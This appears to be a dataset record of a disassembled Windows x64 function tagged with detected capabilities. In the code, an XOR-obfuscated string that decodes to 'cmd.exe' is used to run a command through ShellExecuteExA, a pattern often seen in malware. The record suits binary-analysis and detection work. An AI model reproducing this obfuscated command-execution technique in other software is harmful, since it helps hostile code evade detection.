Function at 0x140005840
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
mov rax, qword [0x14004b010]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rbx, rcx
mov qword [rbp - 0x59], rcx
mov r8, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
mov rax, rcx
sub rax, r8
xor r12d, r12d
cmp rax, 3
jb 0x14000590e
lea rax, [r8 + 3]
mov qword [rbx + 0x10], rax
mov rdi, rbx
cmp rcx, 0x10
jb 0x1400058a2
mov rdi, qword [rbx]
lea rax, [0x140036843]
mov r15d, 3
lea rsi, [0x140036840]
cmp rax, rdi
jbe 0x1400058d6
lea rax, [rdi + r8]
cmp rsi, rax
ja 0x1400058d6
cmp rdi, rsi
ja 0x1400058ce
mov r14, r12
jmp 0x1400058d9
mov r14, rdi
sub r14, rsi
jmp 0x1400058d9
mov r14, r15
inc r8
lea rcx, [rdi + 3]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
sub r15, r14
lea rdx, [rsi + 3]
add rdx, r14
lea rcx, [rdi + r14]
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140005930
mov r15d, 3
mov qword [rsp + 0x28], r15
lea rsi, [0x140036840]
mov qword [rsp + 0x20], rsi
mov edx, r15d
mov rcx, rbx
call fcn.140025a90
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
movups xmmword [rbp - 0x39], xmm0
movups xmmword [rbp - 0x29], xmm0
movups xmmword [rbp - 0x19], xmm0
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp + 7], xmm0
movups xmmword [rbp + 0x17], xmm0
mov dword [rbp - 0x49], 0x70
mov dword [rbp - 0x45], 0x40
mov qword [rbp - 0x41], r12
mov qword [rbp - 0x39], r12
mov dword [rbp - 0x59], 0x16535b56
mov dword [rbp - 0x55], 0x5e425c
mov byte [rbp - 0x51], 1
mov rax, r12
nop word [rax + rax]
lea ecx, [rax + 0x35]
xor byte [rbp + rax - 0x59], cl
inc rax
cmp rax, 7
jb 0x140005980
lea rax, [rbp - 0x59]
mov qword [rbp - 0x31], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400059a5
mov rax, qword [rbx]
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x21], r12
mov dword [rbp - 0x19], r12d
mov qword [rbp - 0x11], r12
lea rcx, [rbp - 0x49]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140005a04
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400059fd
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1400059f8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005a9d
mov rcx, r8
call fcn.140031b00
mov eax, 0xffffffff
jmp 0x140005a66
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x1f]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp + 0x27]
mov rcx, qword [rbp + 0x1f]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rbp + 0x1f]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rbp + 0x27]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140005a64
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140005a5f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005a9d
mov rcx, r8
call fcn.140031b00
mov eax, edi
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140031850
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3